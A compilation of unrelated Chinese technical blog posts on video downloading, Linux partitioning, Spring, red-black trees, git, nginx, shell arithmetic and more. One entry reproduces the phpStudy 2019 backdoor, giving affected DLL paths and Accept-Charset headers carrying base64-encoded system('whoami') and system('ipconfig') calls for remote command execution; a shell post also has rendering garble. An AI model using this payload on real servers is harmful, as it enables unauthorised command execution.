一些网站会将视频分割成n个ts文件。 用猫抓chrome插件,抓取index.m3u8,可得到众多ts文件下载地址。 可用迅雷打包下载ts文件以及index.m3u8文件,但有时会出现下载不了的情况,怀疑是请求报头的问题上。 若迅雷下载不了,则尝试改用命令curl下载。 用以下Python脚本批量生成curl命令(urls.txt内含ts下载网址,从猫抓插件那里获取的)。 import os template = \ '''curl -L "%s" -o "%s" --create-dirs -H "Accept: image/*,*/*;q=0.8" -H "Connection: keep-alive" -H "Accept-Encoding: gzip, deflate, sdch" -H "Accept-Language: zh-CN,zh,en,ja;q=0.8" -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36" -k --retry 4\n''' workDir = "E:\\a\\" os.chdir(workDir) with open("urls.txt", "r", encoding="utf-8") as fi: with open("out.txt", "w", encoding="utf-8") as fo: for line in fi.readlines(): #print(line) line = line.

[网安实践III] 实验3.逆向分析

[网安实践III] 实验3.逆向分析 1 流量分析 借助Wireshark抓取Android模拟器中“QQ同步助手”登录和同步数据时的流量,回答以下问题: (1)筛选流量中,对应域名 "mpssync.3g.qq.com" 的IP地址; (2)同步报文的TCP流量源IP:端口,目的IP:端口; (3)分析同步流量的数据特征,并根据这些特征,能否获取报文的一些信息,例如密文长度信息; (4)保存并上传流量分组文件。 mpssync.3g.qq.com 的IP地址: 183.3.225.36 和 113.96.237.110同步报文 TCP 流量, 源 IP 为 10.12.181.187, 源端口为 3550, 目的 IP 为 113.96.237.110, 目的端口为 14000.同步流量的数据特征: 传输数据的前4个字节表示后面加密数据的长度(单位字节), 数据的加密类型为分组加密.流量分组文件: lab3.pcapng 分析过程 通过 Wireshark 截包, 过滤条件为 dns, 容易找到对域名 mpssync.3g.qq.com 的 DNS 查询和响应包, 如下图所示, 可以得到该域名对应的 IP 地址有 183.3.225.36 和 116.96.237.110. 注: 在使用同步助手时, 要先下载 QQ, 使用 QQ 账号进行快捷登录才能成功登录 QQ 同步助手. 此外, 需要在模拟器中添加联系人, 这样才能进行数据同步. 使用过滤条件来过滤与域名 mpssync.3g.qq.com 相关的数据包. 过滤条件如下, 即数据包的源或目的 IP 为域名的IP.

linux对已有分区进行扩容

linux对已有分区进行扩容,解决报错:设备文件不存在(No such file or directory) 本文介绍步骤一:查看磁盘结构以及大小步骤二:删除多余分区(视情况而定)步骤三:创建新分区步骤四:格式化分区步骤五:创建物理卷步骤六:将磁盘扩展到卷组步骤七:扩展逻辑分区(lvextend)步骤八:使扩展生效(xfs_growfs)步骤九:查看结果 本文介绍 在原始磁盘上增加空间(常用在虚拟化环境中增加了磁盘空间) 步骤一:查看磁盘结构以及大小 命令:lsblk 查看磁盘结构以及大小 步骤二:删除多余分区(视情况而定) 删除多余分区(视情况而定) 命令:fdisk -l 查看磁盘情况 (注:如果磁盘是挂载状态,无法进行分区操作,需要先卸载磁盘) 可以看到,磁盘sdb原先存在着3个分区,那么可以先删除这些分区; 删除分区:如果磁盘本身没有分区,就忽略这一步 1)先使用命令:fdisk /dev/sda 2)输入d 3)输入想要删除的分区号:3 到这里就成功删除了分区3;重复以上操作删除剩下的两个分区; 再次使用 sudo fdisk -l查看 可以磁盘原先的3分区已经不见了; 步骤三:创建新分区 (1)使用命令:sudo fdisk /dev/sdb进入磁盘操作界面 (2)在命令中输入:n 表示新建一个分区 (3)输入:p 表示新建一个主分区 (4)输入:3 表示新建主分区3 (5)按下回车: 表示主分区3的第一个扇区地址 (6)输入:+80GM 表示第主分区的大小为80G 步骤四:格式化分区 划重点:很多小伙伴到了这一步出现报错 –No such file or directory 格式化分区mkfs.ext4 /dev/sda3发现以下提示: Could not stat /dev/sda3 — No such file or directory 1.通过命令:ls -l /dev/sda*查看,发现设备文件不存在 2.通过命令mknod /dev/sda3 b 8 4(其中b是block型设备文件,8是主设备号,4是辅助设备号)

汇编语言实现C51单片机点亮流水灯

P0作输出口,接8只发光二极管,编写程序实现二极管循环点亮 二极管为共阳极连接时,即二极管正极已接通电源,单片机输出接阴极,所以单片机输出为低电平有效。 所以为实现二极管轮流点亮,单片机的输出应为:0FEH,0FDH,0FBH,....0FEH,每输出一种状态,需要延时0.1us. ORG 0000H MOV A,#0FEH NEXT:MOV P0,A MOV R1,#184 DEL1:MOV R2,250 DEL2:DJNZ R2.DEL2 DJNZ R1,DEL1 RL A STMP NEXT END 最后在解释一下为什么需要延时: 单片机的处理速度是很快的,有的时候为了让我们便于观察需要加入延时,例如一个指示灯的亮灭,如果不加入延时是看不出来的,再有就是键盘去抖动,一般按键都有20ms左右的抖动,为了更好的检测防止干扰,也需要延时一段时间在进行判断,总之延时的作用在不同的情况下也不同。

Linux:时间日期指令(date)+查找指令(find,locate,grep)+压缩和解压指令(gzip,gunzip;zip,unzip;tar)(内含详细解释+操作实例)

1.时间日期指令: 解释:案例中的Y,m,d等大小写不能更改,但是里面的连接符如:和 - 都能按个人喜好更改。 2.查找指令 解释:使用locate必须先update后locate 案例1:请使用locate指令快速定位hello.txt文件所在目录,操作如下: 解释:推荐使用写法二。 请在hello.txt文件中,查找"yes"所在行,并显示行号,操作如下: 解释: cd /home:进入home目录(第一个框框) ls:查看home目录内容,发现有以前的hello.txt文件 rm -rf hello.txtx:强制删除hello.txt文件 vim hello.txt:重新写hello.txt文件的内容 grep -n "hello" /home/hello.txt:带行号的筛选出hello的内容。 3.压缩和解压指令: 操作如下: 案例1.:压缩多个文件. 将/home/pig.txt和/home/cat.txt压缩成pc.tar.gz tar -zcvf pc.tar.gz /home/pig.txt /home/cat.txt (注:如果有多个文件,文件之间用空格隔开),操作如下: 解释:先进入/home查看是否有cat.txt和pig.txt 没有,就创建touch cat.txt touch pig.txt 之后使用压缩命令tar -zcvf pc.tar.gz /home/pig.txt /home/cat.txt 进行压缩。 最后查看是否压缩成功。 案例2:将/home的文件夹压缩成myhome.tar.gz tar -zcvf myhome.tar.gz /home/ 操作如下: 案例3:将pc.tar.gz解压到当前目录 tar -zxvf pc.tar.gz 操作如下: 解释:先查看home目录下,有cat.txt pig.txt, 需要删除tar cat.txt pig.txt(目的是生成的pc.tar.gz里面有cat.txt pig.txt。。。其实我想了想,不用删除亦可,因为生成的有目录文件) 压缩tar -zxvf pc.tar.gz 之后查看新生成的/home/home/ (因为是带目录名也解压了) 案例4:将myhome.tar.gz解压到/opt/tmp2目录下 mkdir /opt/tmp2

九、Bean的循环依赖问题

9.1 什么是Bean的循环依赖 A对象中有B属性。B对象中有A属性。这就是循环依赖。我依赖你,你也依赖我。 比如:丈夫类Husband,妻子类Wife。Husband中有Wife的引用。Wife中有Husband的引用。 package com.powernode.spring6.bean; /** * @author 动力节点 * @version 1.0 * @className Husband * @since 1.0 **/ public class Husband { private String name; private Wife wife; } package com.powernode.spring6.bean; /** * @author 动力节点 * @version 1.0 * @className Wife * @since 1.0 **/ public class Wife { private String name; private Husband husband; } 9.2 singleton下的set注入产生的循环依赖 我们来编写程序,测试一下在singleton+setter的模式下产生的循环依赖,Spring是否能够解决? package com.powernode.spring6.bean; /** * @author 动力节点 * @version 1.

【C++】红黑树的插入实现

前言 在之前对二叉搜索树(二叉排序树)的插入进行优化后,查找效率能基本维持(O(log_2N))AVL树。但是我们可以发现,AVL树的要求其实有点严格,那就是任何一个结点的左右子树如果高度差超过1,就要进行旋转调节。旋转调节的次数太多会影响效率。那么有没有特化一下AVL树使其旋转次数会相对变少呢? 红黑树就是针对于AVL树的特化。在之前AVL树的插入实现是利用平衡因子控制,任意结点左右子树高度差不超过1,而红黑树是利用颜色进行控制,任意结点高度差不超过短的2倍。 AVL树的插入实现博客在这里哦~ 【C++】AVL树的插入实现_柒海啦的博客-CSDN博客 链表二叉树的基本结构和实现可以看这篇C语言博客的哦~ 用c语言实现一个简单的链表二叉树_柒海啦的博客-CSDN博客_创建链式二叉树c语言 话不多说,我们直接开始吧~ (紬壮壮可爱捏~~~) 目录 一、红黑树的结构 1.红黑树的结点 代码实现: 2.红黑树的性质 二、红黑树的插入实现 1.插入新结点 代码实现: 2.不旋转 2.1不变色 2.2变色 变色操作: 代码实现: 3.变色+旋转 3.1变色+单旋 3.11左单旋 ABC模块介绍: 左单旋过程: 左单旋代码实现: 3.12右单旋 右单旋过程: 右单旋代码实现: 3.2变色+双旋 3.21左右双旋 3.22右左双旋 变色+旋转代码实现: 4.总结 三、红黑树的验证实现 代码实现: 四、综合代码 一、红黑树的结构 因为同样是平衡二叉搜索树,旋转是必须的,所以需要三叉链。其次,由于是利用颜色进行调整红黑树的性质,所以自然有颜色成员。颜色的值可以利用枚举去举例,当然也可以设置宏或者const成员去代替, 颜色分为红色和黑色。 初步实现红黑树的时候,里面存的值为pair key-value结构,具体的介绍可以看博主AVL树里的介绍。所以结点也需要定义成模板类型K-V。 1.红黑树的结点 综上,红黑树的结点构成如下: Node* 三叉链: 指向左子树的指针 left 指向右子树的指针 right 指向父结点的指针 parent(没有哨兵位的话,当此结点为根结点时,父节点为空) Color 颜色成员: 红色 RED(0) 黑色 BLACK(1) (括号内数字表示此数字对应代表红/黑) pair k-val数据: [pair]->frist K [pair]->second V ([]表示pair的具体的一个实例化对象) 在结点类型中的构造函数中除了传入基本的key-val外,还需要传入一个颜色。新结点默认红色。为什么默认红色呢?等讲完了红黑树的性质就理解了:

Exception in thread “main“ java.lang.UnsatisfiedLinkError: org.apache.hadoop.io.nativ

前言 MapReduce学习的时候,读取文件夹下的所有文件,出现该报错,这里简单记录解决办法。 问题还原 项目结构 RddFile源码 该代码主要是读取Resource下的所有txt文件汇总成RDD流进行打印输出。 public static void main(String[] args) { SparkConf conf = new SparkConf().setMaster("local").setAppName("file"); try (JavaSparkContext ctx = new JavaSparkContext(conf)) { JavaPairRDD<String, String> rdd = ctx.wholeTextFiles(new File(PATH).getParentFile().getCanonicalPath() + File.separator + "*.txt"); rdd.collect().forEach(System.out::println); } catch (IOException e) { e.printStackTrace(); } } 启动之后报如下的错Exception in thread "main" java.lang.UnsatisfiedLinkError: org.apache.hadoop.io.nativ... 解决办法 找到箭头所指的文件 复制到如下文件夹 重新启动程序,问题解决

[附源码]java毕业设计宠物商店管理系统

项目运行 环境配置: Jdk1.8 + Tomcat7.0 + Mysql + HBuilderX(Webstorm也行)+ Eclispe(IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持)。 项目技术: SSM + mybatis + Maven + Vue 等等组成,B/S模式 + Maven管理等等。 环境需要 1.运行环境:最好是java jdk 1.8,我们在这个平台上运行的。其他版本理论上也可以。 2.IDE环境:IDEA,Eclipse,Myeclipse都可以。推荐IDEA; 3.tomcat环境:Tomcat 7.x,8.x,9.x版本均可 4.硬件环境:windows 7/8/10 1G内存以上;或者 Mac OS; 5.是否Maven项目: 否;查看源码目录中是否包含pom.xml;若包含,则为maven项目,否则为非maven项目 6.数据库:MySql 5.7/8.0等版本均可; 毕设帮助,指导,本源码分享,调试部署(见文末) 3.1系统功能 通过前面的功能分析可以将宠物商店管理系统的功能分为管理员和用户两个部分,系统的主要功能包括首页、商品、畅所欲言、公告、留言板、个人中心、后台管理、购物车等内容。任何用户只要进入网站不需登录也可浏览到的信息,后台管理是针对已登录的用户看到满意的宠物商店信息而设计的。 1、一般用户的功能及权限 所谓一般用户就是指还没有注册过的,他们可以浏览主页面上的信息。但如果有中意的宠物商店信息时,要登录注册,只有注册成功才有的权限。 2、管理员的功能及权限 用户信息的添加和管理,宠物商店详细信息添加和管理和文档信息添加和管理以及网站信息管理,这些都是管理员的功能。 3、系统功能结构图 系统功能结构图是系统设计阶段,系统功能结构图只是这个阶段一个基础,整个系统的架构决定了系统的整体模式,是系统的根据。宠物商店管理系统的整个设计结构如图3-1所示。 图3-1系统功能结构图 3.2可行性研究 通过对系统研究目标及内容的分析审察后,提出可行性方案,并对其进行论述。主要从技术可行性出发,再进一步分析经济可行性和操作可行性等方面。 3.2.1 经济可行性 开发系统所涉及到的资料,一般是在图书馆查阅,或是在网上进行查找收集。所需要的一些应用软件也都是在网上可以免费下载的,因此,开发成本是几乎为零。但是开发出来的系统,还是具有高效率,低成本,较高质量的。所以,从经济可行性的角度,该系统符合标准。 3.2.2 技术可行性 技术可行性是考虑在现有的技术条件下,能否顺利完成开发任务。以及判断现有的软硬件配置是否能满足开发的需求。而本系统采用的是jspm开发技术,并非十分困难,所以在技术上是绝对可行的。此外,计算机硬件配置是完全符合发展的需要。 3.2.3 运行可行性 当前计算机信息化的知识已经十分普及了,现在的操作人员也都是对系统环境有很强的适应性,各类操作人员大都是有过培训补充的,因此完全不影响组织结构,所以在运行上也是可行的。 3.2.4 时间可行性 从时间上看,在大四的最后一个学期,在实习工作与完成毕设两件大事相交叉的时间里,结合之前学习的相关知识,并开发系统,时间上是有点紧,但是也不是完全没可能实现,通过这段时间的努力功能基本实现。 3.3系统业务过程分析 宠物商店管理系统是三种身份的用户,主要涉及管理员、商户和用户。每个身份都是操作起来都是清楚方便的。对于一些宠物商店信息,这是任何人都可以查看的,但是如果用户想分享,则必须是已经进行登录的用户,或者想修改宠物商店信息的话,也是需要用户为登录状态。这些用户的基本信息都由管理员对其统一管理。 根据宠物商店实际过程的分析,网站有以下几个部分,其中用户注册,发布个人信息,修改个人信息;用户注册登录,查看宠物商店信息;管理员管理用户信息;一般用户只可以浏览不可以发布信息。以上业务过程从用户角度可以分为两类使用本系统的用户角色,包括管理员和用户。以下针对各类用户说明相应的业务过程。 3.4系统流程图 3.4.1操作流程 系统登录流程图,如图所示: 图3-2登录流程图

1.git

1.拉取远程仓库 1.远程强制拉取到本地。 git pull --force <远程主机名> <远程分支名>:<本地分支名> git pull --force origin master:master 2.清除工作区和暂存区 git checkout . 有新建文件或文件夹 git clean -d 3.如果已经add了 git reset . 2.新建分支,切换分支,删除 1.查看分支 git branch 列出本地已经存在的分支,并且当前分支会用*标记 git branch -r 查看远程版本库的分支列表 git branch -a 查看所有分支列表(包括本地和远程,remotes/开头的表示远程分支) git branch -v 查看一个分支的最后一次提交 git branch --merged 查看哪些分支已经合并到当前分支 git branch --no-merged 查看所有未合并工作的分支 2.新建分支 git branch newb 或者 git checkout -b newb 3.切换分支 git checkout newb 4.删除分支 git branch -d 分支名称 git branch -D 分支名称 (大写D强行删除)

shell:计算10的阶乘,原码,补码和反码,()), let, exp,bc和 $[]实现

1.计算10的阶乘 2.12,-13的原码,补码和反码 12正数的原码补码反码相同都为:0 1100 -13原码为:1 1101 反码直接对各位取反,符号位不变,即反码为:1 0010; 补码为绝对值的反码+1,即1 0010+1=1 0011 3.计算 1+2的结果,并将值赋给变量data, 然后计算 data+10的值,赋值给data2(要求:分别使用(()), let, expr,bc和 KaTeX parse error: Expected 'EOF', got '#' at position 25: …): [root@gzw ~]#̲ data=((1+2)) [root@gzw ~]# data2= ( ( (( ((data+10)) [root@gzw ~]# echo KaTeX parse error: Expected 'EOF', got '#' at position 27: …t: [root@gzw ~]#̲ let data=1+2 […data+10 [root@gzw ~]# echo $data2 13 expr: [root@gzw ~]# data=expr 1 + 2

将数组中的数逆序存放?

思路:从键盘中输入的数据存入数组后,将其逆置后,再存放入数组,然后输出 #include<stdio.h> int main() { int n,i,temp,a[10]; scanf("%d",&n); for(i=0;i<n;i++) scanf("%d",&a[i]); for(i=0;i<n/2;i++) //若数组有n个元素,那么我们仅需要进行n/2次变换 { temp= a[i];//中间值 a[i]=a[n-1-i];//将数组元素调换,如a[1]=a[3]; a[n-1-i]=temp;//将原a[1]的值赋予a[3],最终完成调换 } for(i=0;i<n-1;i++)//逆序输出 printf("%d ",a[i]); return 0; }

使用EasyExcel动态合并单元格和对指定列添加超链接

处理器一定要实现CellWriteHandler接口 动态合并单元格的处理器: import com.alibaba.excel.metadata.Head; import com.alibaba.excel.metadata.data.WriteCellData; import com.alibaba.excel.write.handler.CellWriteHandler; import com.alibaba.excel.write.metadata.holder.WriteSheetHolder; import com.alibaba.excel.write.metadata.holder.WriteTableHolder; import org.apache.poi.ss.usermodel.Cell; import org.apache.poi.ss.usermodel.CellType; import org.apache.poi.ss.usermodel.Row; import org.apache.poi.ss.usermodel.Sheet; import org.apache.poi.ss.util.CellRangeAddress; import java.util.List; //动态合并单元格 public class ExcelFillCellMergeHandler implements CellWriteHandler{ /** * 合并字段的下标 */ private int[] mergeColumnIndex; /** * 从第几行开始合并,0代表标题行 */ private int mergeRowIndex; public ExcelFillCellMergeHandler() { } public ExcelFillCellMergeHandler(int mergeRowIndex, int[] mergeColumnIndex) { this.mergeRowIndex = mergeRowIndex; this.mergeColumnIndex = mergeColumnIndex; } @Override public void beforeCellCreate(WriteSheetHolder writeSheetHolder, WriteTableHolder writeTableHolder, Row row, Head head, Integer integer, Integer integer1, Boolean aBoolean) { } @Override public void afterCellCreate(WriteSheetHolder writeSheetHolder, WriteTableHolder writeTableHolder, Cell cell, Head head, Integer integer, Boolean aBoolean) { } @Override public void afterCellDataConverted(WriteSheetHolder writeSheetHolder, WriteTableHolder writeTableHolder, WriteCellData<?

neo4j-jdbc-driver这个坑货

最近把解析json包jar包从2.9升级到2.13,jackson-core-2.13.1.jar。突然项目坏掉了。百思不得其解,只是jackson本身互相调用,按道理不应该有影响才对,但是报找不到com.fasterxml.jackson.core.JsonParser下的一个方法,经过查看,jackson-core下是有这个方法的。这就奇怪了,本来以为可能还有2.9包的尸体,可找了半天也没找到。 在ide工具中用快捷命令搜索也只定位到jackson-core-2.13.1.jar本身的JsonParser。 于是乎我怀疑是某些jar可能用了类似fatjar之类的工具,将jackson的jar给打了进去。于是只好用seachandreplace工具去搜索所有jar包的JsonParser,没想到竟然搜索到neo4j-jdbc-driver竟然有一堆文件跟jackson-core-2.13.1.jar重名,但是没有报错提示的方法。 究竟neo4j-jdbc-driver这个坑货是不是用fatjar打的jar包我不知道,但是这个冲突可真是把人气吐血。真是太坑了。 只好将neo4j-jdbc-driver删除掉,结果程序正常了。

phpStudy backdoor 2019后门漏洞复现过程记录

1、受影响版本及路径: phpStudy2016 php\php-5.2.17\ext\php_xmlrpc.dll php\php-5.4.45\ext\php_xmlrpc.dll phpStudy2018 PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll 2、环境准备: phpStudy2018下载链接:百度网盘 请输入提取码 提取码:nlnq 部署在win10虚拟机里,解压后运行后访问localhost/phpinfo.php即成功安装 3、自查是否存在后门漏洞: 1)可以通过查看路径为PHPTutorial/php/php-5.4.45/ext/php_xmlrpc.dll的文件,查找到@eval(%s('%s'));代码 2)查看php探针→PHP已编译模块检测,存在xmlrpc 3)查看php.ini文件,检索到extension=php_xmlrpc.dll 4)打开Burpsuite抓phpinfo.php页面的请求包,发送到Repeater重放器模块 Accept-Encoding:gzip,deflate #修改参数,gzip逗号后面默认有一个空格,需要删掉 Accept-charset:c3lzdGVtKCdpcGNvbmZpZycpOw== #添加字段Accept-charset,参数是经过base64编码后的需要执行的命令 此处为system('ipconfig'); Base64在线编码/解码网站:Base64 编码/解码 | 菜鸟工具 Accept-Encoding:gzip,deflate Accept-charset:c3lzdGVtKCd3aG9hbWknKTs= #此处为system('whoami'); 复现成功 (4、 查看Apache的access.log日志:) 默认是没有的,可以通过修改httpd-conf文件来打开: 具体就是找到access.log字符这一行,将注释符删掉,保存后再重启phpstudy服务 根据以下步骤就可以看到access.log 可以看到我们bp发送请求的包被记录下来了 参考文章: Apache logs目录下找不见access.log文件解决办法_RuoLi_s的博客-CSDN博客 ​​​​​​​phpStudy后门漏洞复现 | LuckySec

ALTER TABLE 分区操作-动态增加一级,多级分区,动态删除分区

1.8.5.6 ALTER TABLE 分区操作 alter 分区操作包括增加分区和删除分区操作,这种分区操作在Spark3.x之后被支持,spark2.4版本不支持,并且使用时,必须在spark配置中加入spark.sql.extensions属性,其值为:org.apache.iceberg.spark.extensions.IcebergSparkSessionExtensions,在添加分区时还支持分区转换,语法如下: 添加分区语法:ALTER TABLE ... ADD PARTITION FIELD删除分区语法:ALTER TABLE ... DROP PARTITION FIELD 具体操作如下: 创建表mytbl,并插入数据 val spark: SparkSession = SparkSession.builder().master("local").appName("SparkOperateIceberg") //指定hadoop catalog,catalog名称为hadoop_prod .config("spark.sql.catalog.hadoop_prod", "org.apache.iceberg.spark.SparkCatalog") .config("spark.sql.catalog.hadoop_prod.type", "hadoop") .config("spark.sql.catalog.hadoop_prod.warehouse", "hdfs://mycluster/sparkoperateiceberg") .config("spark.sql.extensions","org.apache.iceberg.spark.extensions.IcebergSparkSessionExtensions") .getOrCreate() //1.创建普通表 spark.sql( """ | create table hadoop_prod.default.mytbl(id int,name string,loc string,ts timestamp) using iceberg """.stripMargin) //2.向表中插入数据,并查询 spark.sql( """ |insert into hadoop_prod.default.mytbl values |(1,'zs',"beijing",cast(1608469830 as timestamp)), |(3,'ww',"shanghai",cast(1603096230 as timestamp)) """.stripMargin) spark.sql("select * from hadoop_prod.default.mytbl").show() 在HDFS中数据存储和结果如下: 将表loc列添加为分区列,并插入数据,查询 //3.将 loc 列添加成分区,必须添加 config("

Redis 升级更新

一、更新升级 ①、下载新版本【Redis】【新版本安装教程】 1、如出现:(ERR unknown command 'XADD',ERR unknown command 'XGROUP')错误都需更新Redis版本,旧版不支持相关命令。 ②、停止Redis服务 #停止reids,【或进入服务界面停止】 C:\Windows\system32>net stop redis 1、停止Redis相关截图。 ③、覆盖旧文件 1、覆盖旧文件相关截图。 ④、重启服务 #重启Redis服务 C:\Windows\system32>net start redis 1、重启Redis相关截图 二、参考 ①、安装部署 ②、普通网友 

nginx部署前端代码 负载均衡

用户在前端页面点击请求, 到nginx(根据upstream配置的后端服务器 ip:端口 和 location匹配规则 负载到后端)。 nginx.conf 配置文件 #指定用户,避免权限问题 user root; #工作线程程数 核心数的2倍 worker_processes 1; #日志记录 #error_log logs/error.log; #error_log logs/error.log notice; #error_log logs/error.log info; #pid logs/nginx.pid; events { worker_connections 1024; } http { include mime.types; default_type application/octet-stream; #access_log logs/access.log main; sendfile on; #tcp_nopush on; #keepalive_timeout 0; keepalive_timeout 65; #gzip on; #这一块 负载均衡 需要我们自己添加,可以写多个后端服务 server localhost:8080; upstream ruoyi_admin_server_group { #ip_hash; server localhost:8080; } server { #server模块, 监听的端口 localhost:80 访问 listen 80; server_name localhost; #charset koi8-r; #access_log logs/host.

shell变量

1.计算10的阶乘 vim jiecheng.sh #!/bin/bash res=1 for i in $@ do res=$((res*i)) done echo $res 运行脚本计算10的阶乘 source jiecheng.sh {1..10} 2.12,-13的原码,补码和反码 二进制的最高位为符号位。0为正数,1为负数 正数的原码,补码,反码是一致的。它的补码和反码就是原码 负数的原码,反码,补码不一致。 原码-->反码:除了最高位的符号位,其他按位取反 补码:在反码的基础上+1 12:二进制 --- 0000 1100 原码 --- 0000 1100 反码 --- 0000 1100 补码 --- 0000 1100 -13:二进制 --- 0000 1101 原码 --- 1000 1101 反码 --- 1111 0010 补码 --- 1111 0011 3.计算 1+2的结果,并将值赋给变量data, 然后计算 data+10的值,赋值给data2(要求:分别使用(()), let, expr,bc和 $[]实现) (()):用于整数运算,在(())里面可以省略变量的$符号 let:用于整数运算,可以执行多个表达式,变量的$符号不可省略 expr:不止可以用于整数运算,使用expr时,运算符及用于计算的数字左右都至少有一个空格,否则报错;使用乘号,必须使用反斜线屏蔽其特定含义;使用expr做 计算,将一个未知的变量和一个已知的整数相加,看返回码是否为 0,如果为0就认为做加法的变量为整数,否则就不是整数。 bc:可以计算小数,相当于Linux中的计算器

[附源码]java毕业设计超市订单管理系统

项目运行 环境配置: Jdk1.8 + Tomcat7.0 + Mysql + HBuilderX(Webstorm也行)+ Eclispe(IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持)。 项目技术: SSM + mybatis + Maven + Vue 等等组成,B/S模式 + Maven管理等等。 环境需要 1.运行环境:最好是java jdk 1.8,我们在这个平台上运行的。其他版本理论上也可以。 2.IDE环境:IDEA,Eclipse,Myeclipse都可以。推荐IDEA; 3.tomcat环境:Tomcat 7.x,8.x,9.x版本均可 4.硬件环境:windows 7/8/10 1G内存以上;或者 Mac OS; 5.是否Maven项目: 否;查看源码目录中是否包含pom.xml;若包含,则为maven项目,否则为非maven项目 6.数据库:MySql 5.7/8.0等版本均可; 毕设帮助,指导,本源码分享,调试部署(见文末) 3 系统的可行性研究及需求分析 3.1 可行性研究 3.1.1 技术可行性分析 经过大学四年的学习,已经掌握了Java、JSP、Mysql数据库等方面的编程技巧和方法,对于这些技术该有的软硬件配置也是齐全的,能够满足开发的需要。 本超市订单管理系统采用的是Mysql作为数据库,可以绝对地保证用户数据的安全;Eclipse作为开发工具,可以与Mysql数据库进行无缝连接。 所以,超市订单管理系统在技术上是可以实施的。 3.1.2 经济可行性分析 本超市订单管理系统是作为毕业设计自己开发的,所以产生的费用微乎其微,系统建成之后可能会为今后的超市订单管理提供便利,并且系统完成之后产生的维护费用也不大。综合计算,所有的开支都不大,所以超市订单管理系统在经济上是不存在问题的。 3.1.3 运行可行性分析 运行可行性是指评价和估计新的系统(即超市订单管理系统)给已经存在的系统带来的影响和产生的后果,如工作环境等,还要分析在指定时间内能否按期完成指定的系统开发任务等。 当前,信息化技术已经相当完善,工具之间的整合非常方便。通过框架编程的学习,对框架的使用规则已经掌握,各个功能模块之间的编写、测试和维护,使用Tomcat服务器可以实现系统的B/S结构,所以在运行上是可行的。 本系统的开发,采用的就是JSP+ Mysql体系,没有技术上的问题。 综上所述,本超市订单管理系统的开发在技术上、经济上和运行上都是完全可行的。 3.2 功能需求 需求分析是指详细的分析要解决的问题,弄清楚要解决的问题的要求,最终达到一个什么样的结果。需求分析的最终任务就是对即将要开发的软件系统的功能、性能等方面进行定义。 超市订单管理系统是一个管理信息系统,为了宣传的需要,为了给用户提供方便快捷的服务,从而设计了超市订单管理系统。管理员可以通过这个系统把商品信息和客户信息等发布出去,可以方便员工快速地了解最新动态,进行销售出库、采购入库等操作。 3.2.1 系统的主要功能 超市订单管理系统主要是后台进行登录,包含了2中权限的用户:管理员用户。 员工的主要功能: 员工可以对个人信息和登录密码进行; 可以查看供应商信息和客户信息; 可以查看商品信息,并进行销售出库、采购入库等操作。

jenkins+docker自动部署java项目

1.jenkins自行安装 2.安装插件 Maven Integration 3.新建maven 工作流 4.配置发布参数和服务器节点 节点没有添加的自行去全局配置添加,以下为节点添加步奏 修改节点配置,修改远程工作目录为自己项目构建的目录位置 5.添加git仓库 6.添加构建步奏 (1)增加mvn打包 (2)添加打包后docker重新构建容器shell脚本 项目docker构建前,项目需要添加dockerfile配置,如下图 # 该镜像需要依赖的基础镜像 FROM openjdk:8-jdk-alpine # 将targer目录下的jar包复制到docker容器/home/springboot目录下面目录下面 ADD ./target/demo1-0.0.1-SNAPSHOT.jar app.jar #打包名称根据自己项目名称修改 # 声明服务运行在8080端口 EXPOSE 8080 # 执行命令 CMD ["java","-jar","app.jar"] shell内容 appname="demotest" #名称可自行修改 docker stop $appname || true docker rm $appname || true docker rmi $appname || true docker build -t $appname . docker run -d -p8080:8080 --name $appname $appname:latest 最终配置如下图 7.保存执行,查看执行日志 8.查看工作目录及docker容器情况

ipv6应用

目录 1.远程连接电脑 0.查询ipv6地址 测试你的电脑有没有IPv6 Test your IPv6. 这里也可以拿到ipv6地址 没有ipv6用电脑连接手机热点,再次进入测试网站 如果还不成功就砸了吧 win10怎么样正确开启ipv6(win10ipv6无网络访问权限如何解决)-路由器之家 win10开启IPv6的两种方法 - 走看看(推荐第二种方法) IPv6 Ping 测试 | IP查询(ipw.cn)粘贴你的ipv6测试你的ipv6是否能被外网访问 1.远程连接电脑 必须两台电脑都能使用ipv6 手机软件 remote desktopremote desktop 8安卓apk下载-remote desktop 8汉化版下载v8.1.82.445 安卓版-绿色资源网 win10自带远程桌面 mocMicrosoft Remote Desktop Mac(远程桌面连接工具)正式版 - 哔哩哔哩 2.ipv6远程连接数据库 3.网页访问iis。如何访问ipv6地址的网站 快速使用IIS搭建一个自己的网站感觉啰嗦了创建用户感觉没必要 建议换个端口不要用80接口 http://121.23.23.23:80 这是ipv4的访问方法. ipv6的访问方法是: http:[2400:f00f:4:1005:808:73cc:f6ee:b8ac]:80(注意中括号) 或 域名:端口(不用中括号) 4.访问共享文件夹。如何使用ipv6的samba服务 对于使用samba的用户会通过 \\ip访问网络上的共享文件夹。ipv6的使用方法是: \\2400-f00f-4-1005-808-73cc-f6ee-b8ac.ipv6-literal.net\ 也就是把冒号用短横线 - 代替。两个冒号就用两个 --。后面加上.ipv6-literal.net 5.ping ipv6 ping ipv6地址一般ping 不通必须加-6 ping -6 fe82::4d83:7452:f7ce:5de%22 6.可以给ipv6绑定域名 参考IPV6的使用方法

CAD中把样条曲线改成多线段(转载请删除括号里的内容)

别的软件中不能够识别DXF文件中的样条曲线,所以必须要把样条曲线改成多线段,这里我们看看原来的线的属性: 这时候如果在PADS中打开这个DXF得到的图像如下: 也就是说那些样条曲线都看不到了,这里叫海胜把样条曲线改成多线段,具体方法参考:http://wenku.baidu.com/link?url=WPdWb0Y3p7NmcGKJSb9YFlWTNHCKoQSi15Br_yj699jEzRGmc6P4vsdEWjAhhqauQdW2BPdwtdCKt9Wgwl5yFzRwqmY1JJTgFTDbayCZ3FO 这时候在CAD看到的属性如下: 样条曲线变成多线段了,这时候在PADS看到的如下: 到此大功告成 --------------------- 作者:城东 来源:CSDN 原文:https://blog.csdn.net/chengdong1314/article/details/55211696 版权声明:本文为作者原创文章,转载请附上博文链接! 内容解析By:CSDN,CNBLOG博客文章一键转载插件

java数组初始化和不定长数组处理方式

